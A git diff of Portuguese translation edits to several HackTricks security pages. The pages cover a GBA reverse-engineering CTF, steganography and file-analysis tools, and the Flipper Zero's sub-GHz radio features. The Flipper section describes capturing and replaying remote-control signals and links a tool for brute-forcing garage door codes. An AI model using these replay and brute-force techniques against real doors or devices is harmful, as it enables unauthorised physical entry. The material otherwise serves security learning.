@ -291,7 +291,7 @@ Nesta página, você pode encontrar como obter o código Python de um binário c
|
||||||
|
|
||||||
## GBA - Game Body Advance
|
## GBA - Game Body Advance
|
||||||
|
|
||||||
Se você obter o **binário** de um jogo GBA, você pode usar diferentes ferramentas para **emular** e **depurar**:
|
Se você obter o **binário** de um jogo GBA, pode usar diferentes ferramentas para **emular** e **depurar**:
|
||||||
|
|
||||||
* [**no$gba**](https://problemkaputt.de/gba.htm) (_Baixe a versão de depuração_) - Contém um depurador com interface
|
* [**no$gba**](https://problemkaputt.de/gba.htm) (_Baixe a versão de depuração_) - Contém um depurador com interface
|
||||||
* [**mgba** ](https://mgba.io)- Contém um depurador CLI
|
* [**mgba** ](https://mgba.io)- Contém um depurador CLI
|
||||||
|
@ -315,7 +315,7 @@ DOWN = 128
|
||||||
R = 256
|
R = 256
|
||||||
L = 256
|
L = 256
|
||||||
```
|
```
|
||||||
Portanto, neste tipo de programa, a parte interessante será **como o programa trata a entrada do usuário**. No endereço **0x4000130**, você encontrará a função comumente encontrada: **KEYINPUT**.
|
Portanto, neste tipo de programa, a parte interessante será **como o programa trata a entrada do usuário**. No endereço **0x4000130** você encontrará a função comumente encontrada: **KEYINPUT**.
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (579).png>)
|
![](<../../.gitbook/assets/image (579).png>)
|
||||||
|
|
||||||
|
@ -384,8 +384,8 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
|
||||||
```
|
```
|
||||||
No código anterior, você pode ver que estamos comparando **uVar1** (o local onde está o **valor do botão pressionado**) com alguns valores:
|
No código anterior, você pode ver que estamos comparando **uVar1** (o local onde está o **valor do botão pressionado**) com alguns valores:
|
||||||
|
|
||||||
- Primeiro, é comparado com o **valor 4** (botão **SELECT**): No desafio, este botão limpa a tela.
|
- Primeiro, é comparado com o **valor 4** (botão **SELECT**): Neste desafio, este botão limpa a tela.
|
||||||
- Em seguida, é comparado com o **valor 8** (botão **START**): No desafio, isso verifica se o código é válido para obter a bandeira.
|
- Em seguida, é comparado com o **valor 8** (botão **START**): Neste desafio, isso verifica se o código é válido para obter a bandeira.
|
||||||
- Neste caso, a variável **`DAT_030000d8`** é comparada com 0xf3 e se o valor for o mesmo, algum código é executado.
|
- Neste caso, a variável **`DAT_030000d8`** é comparada com 0xf3 e se o valor for o mesmo, algum código é executado.
|
||||||
- Em todos os outros casos, é verificado um cont (`DAT_030000d4`). É um cont porque está adicionando 1 logo após entrar no código. Se for menor que 8, algo que envolve **adicionar** valores a **`DAT_030000d8`** é feito (basicamente está adicionando os valores dos botões pressionados nesta variável, desde que o cont seja menor que 8).
|
- Em todos os outros casos, é verificado um cont (`DAT_030000d4`). É um cont porque está adicionando 1 logo após entrar no código. Se for menor que 8, algo que envolve **adicionar** valores a **`DAT_030000d8`** é feito (basicamente está adicionando os valores dos botões pressionados nesta variável, desde que o cont seja menor que 8).
|
||||||
|
|
||||||
|
@ -404,7 +404,7 @@ Portanto, neste desafio, conhecendo os valores dos botões, você precisava **pr
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -414,9 +414,9 @@ Portanto, neste desafio, conhecendo os valores dos botões, você precisava **pr
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
- Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
- Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
- Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
- Obtenha [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
- **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
|
|
@ -2,12 +2,12 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -50,13 +50,13 @@ Similar to exiftool, for viewing metadata. Instalável via `apt`, código fonte
|
||||||
```bash
|
```bash
|
||||||
exiv2 file # Shows the metadata
|
exiv2 file # Shows the metadata
|
||||||
```
|
```
|
||||||
### **Arquivo**
|
### **Ficheiro**
|
||||||
|
|
||||||
Identifique o tipo de arquivo com o qual está lidando.
|
Identifica o tipo de ficheiro com o qual estás a lidar.
|
||||||
|
|
||||||
### **Strings**
|
### **Cadeias de Caracteres**
|
||||||
|
|
||||||
Extrai strings legíveis de arquivos, usando várias configurações de codificação para filtrar a saída.
|
Extrai cadeias de caracteres legíveis de ficheiros, utilizando várias configurações de codificação para filtrar a saída.
|
||||||
```bash
|
```bash
|
||||||
strings -n 6 file # Extracts strings with a minimum length of 6
|
strings -n 6 file # Extracts strings with a minimum length of 6
|
||||||
strings -n 6 file | head -n 20 # First 20 strings
|
strings -n 6 file | head -n 20 # First 20 strings
|
||||||
|
@ -153,11 +153,11 @@ Para uma exploração mais aprofundada, considere visitar:
|
||||||
|
|
||||||
## **Extraindo Dados de Áudios**
|
## **Extraindo Dados de Áudios**
|
||||||
|
|
||||||
A **esteganografia de áudio** oferece um método único para ocultar informações em arquivos de áudio. Diferentes ferramentas são utilizadas para embutir ou recuperar conteúdo oculto.
|
**Esteganografia de áudio** oferece um método único para ocultar informações dentro de arquivos de áudio. Diferentes ferramentas são utilizadas para embutir ou recuperar conteúdo oculto.
|
||||||
|
|
||||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||||
|
|
||||||
Steghide é uma ferramenta versátil projetada para ocultar dados em arquivos JPEG, BMP, WAV e AU. Instruções detalhadas são fornecidas na [documentação de truques de esteganografia](stego-tricks.md#steghide).
|
Steghide é uma ferramenta versátil projetada para ocultar dados em arquivos JPEG, BMP, WAV e AU. Instruções detalhadas são fornecidas na [documentação de truques de estego](stego-tricks.md#steghide).
|
||||||
|
|
||||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||||
|
|
||||||
|
@ -165,7 +165,7 @@ Esta ferramenta é compatível com uma variedade de formatos, incluindo PNG, BMP
|
||||||
|
|
||||||
### **ffmpeg**
|
### **ffmpeg**
|
||||||
|
|
||||||
O ffmpeg é crucial para avaliar a integridade de arquivos de áudio, destacando informações detalhadas e identificando quaisquer discrepâncias.
|
ffmpeg é crucial para avaliar a integridade de arquivos de áudio, destacando informações detalhadas e identificando quaisquer discrepâncias.
|
||||||
```bash
|
```bash
|
||||||
ffmpeg -v info -i stego.mp3 -f null -
|
ffmpeg -v info -i stego.mp3 -f null -
|
||||||
```
|
```
|
||||||
|
@ -187,7 +187,7 @@ Uma ferramenta inestimável para inspeção visual e analítica de arquivos de
|
||||||
|
|
||||||
### **DTMF Tones - Dial Tones**
|
### **DTMF Tones - Dial Tones**
|
||||||
|
|
||||||
A detecção de tons DTMF em arquivos de áudio pode ser realizada por meio de ferramentas online como [este detector DTMF](https://unframework.github.io/dtmf-detect/) e [DialABC](http://dialabc.com/sound/detect/index.html).
|
Detectar tons DTMF em arquivos de áudio pode ser feito através de ferramentas online como [este detector DTMF](https://unframework.github.io/dtmf-detect/) e [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||||
|
|
||||||
## **Outras Técnicas**
|
## **Outras Técnicas**
|
||||||
|
|
||||||
|
@ -198,7 +198,7 @@ Dados binários que resultam em um número inteiro ao serem elevados ao quadrado
|
||||||
import math
|
import math
|
||||||
math.sqrt(2500) #50
|
math.sqrt(2500) #50
|
||||||
```
|
```
|
||||||
### **Tradução em Braille**
|
### **Tradução de Braille**
|
||||||
|
|
||||||
Para traduzir Braille, o [Branah Braille Translator](https://www.branah.com/braille-translator) é um excelente recurso.
|
Para traduzir Braille, o [Branah Braille Translator](https://www.branah.com/braille-translator) é um excelente recurso.
|
||||||
|
|
||||||
|
@ -209,20 +209,20 @@ Para traduzir Braille, o [Branah Braille Translator](https://www.branah.com/brai
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -7,14 +7,14 @@
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -33,9 +33,9 @@ Com o [**Flipper Zero**](https://flipperzero.one/) você pode:
|
||||||
|
|
||||||
**Outros recursos do Flipper Zero em** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
|
**Outros recursos do Flipper Zero em** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -46,7 +46,7 @@ Com o [**Flipper Zero**](https://flipperzero.one/) você pode:
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -16,7 +16,7 @@ Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -30,7 +30,7 @@ O Flipper Zero pode **receber e transmitir frequências de rádio na faixa de 30
|
||||||
|
|
||||||
## Hardware Sub-GHz <a href="#kfpn7" id="kfpn7"></a>
|
## Hardware Sub-GHz <a href="#kfpn7" id="kfpn7"></a>
|
||||||
|
|
||||||
O Flipper Zero possui um módulo sub-1 GHz integrado baseado em um [](https://www.st.com/en/nfc/st25r3916.html#overview)[chip CC1101](https://www.ti.com/lit/ds/symlink/cc1101.pdf) e uma antena de rádio (o alcance máximo é de 50 metros). Tanto o chip CC1101 quanto a antena são projetados para operar em frequências nas bandas de 300-348 MHz, 387-464 MHz e 779-928 MHz.
|
O Flipper Zero possui um módulo sub-1 GHz integrado baseado em um [](https://www.st.com/en/nfc/st25r3916.html#overview)[chip CC1101](https://www.ti.com/lit/ds/symlink/cc1101.pdf) e uma antena de rádio (o alcance máximo é de 50 metros). Tanto o chip CC1101 quanto a antena são projetados para operar em frequências nas faixas de 300-348 MHz, 387-464 MHz e 779-928 MHz.
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -57,9 +57,9 @@ Para determinar a frequência do controle remoto, faça o seguinte:
|
||||||
Encontre informações sobre a frequência usada (também outra maneira de encontrar qual frequência é usada)
|
Encontre informações sobre a frequência usada (também outra maneira de encontrar qual frequência é usada)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
A opção **Ler** **escuta na frequência configurada** na modulação indicada: 433,92 AM por padrão. Se **algo for encontrado** durante a leitura, **as informações são exibidas** na tela. Essas informações podem ser usadas para replicar o sinal no futuro.
|
A opção **Ler** **escuta na frequência configurada** na modulação indicada: 433,92 AM por padrão. Se **algo for encontrado** ao ler, **as informações são exibidas** na tela. Essas informações podem ser usadas para replicar o sinal no futuro.
|
||||||
|
|
||||||
Enquanto a Leitura está em uso, é possível pressionar o **botão esquerdo** e **configurá-lo**.\
|
Enquanto o Ler está em uso, é possível pressionar o **botão esquerdo** e **configurá-lo**.\
|
||||||
Neste momento, existem **4 modulações** (AM270, AM650, FM328 e FM476), e **várias frequências relevantes** armazenadas:
|
Neste momento, existem **4 modulações** (AM270, AM650, FM328 e FM476), e **várias frequências relevantes** armazenadas:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
@ -73,14 +73,14 @@ Alternar entre frequências leva algum tempo, portanto, os sinais transmitidos n
|
||||||
### **Ler Bruto**
|
### **Ler Bruto**
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Roube (e repita) um sinal na frequência configurada
|
Roube (e reproduza) um sinal na frequência configurada
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
A opção **Ler Bruto** **registra sinais** enviados na frequência de escuta. Isso pode ser usado para **roubar** um sinal e **repeti-lo**.
|
A opção **Ler Bruto** **registra sinais** enviados na frequência de escuta. Isso pode ser usado para **roubar** um sinal e **repeti-lo**.
|
||||||
|
|
||||||
Por padrão, o **Ler Bruto também está em 433,92 em AM650**, mas se com a opção Ler você descobriu que o sinal que lhe interessa está em uma **frequência/modulação diferente, você também pode modificá-lo** pressionando esquerda (enquanto estiver dentro da opção Ler Bruto).
|
Por padrão, o **Ler Bruto também está em 433,92 em AM650**, mas se com a opção Ler você descobrir que o sinal que lhe interessa está em uma **frequência/modulação diferente, você também pode modificá-lo** pressionando à esquerda (enquanto estiver dentro da opção Ler Bruto).
|
||||||
|
|
||||||
### Brute-Force
|
### Força Bruta
|
||||||
|
|
||||||
Se você conhece o protocolo usado, por exemplo, pela porta da garagem, é possível **gerar todos os códigos e enviá-los com o Flipper Zero**. Este é um exemplo que suporta tipos comuns gerais de garagens: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
|
Se você conhece o protocolo usado, por exemplo, pela porta da garagem, é possível **gerar todos os códigos e enviá-los com o Flipper Zero**. Este é um exemplo que suporta tipos comuns gerais de garagens: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
|
||||||
|
|
||||||
|
@ -128,7 +128,7 @@ Obtenha dBms das frequências salvas
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -138,8 +138,8 @@ Obtenha dBms das frequências salvas
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
|
@ -6,7 +6,7 @@
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
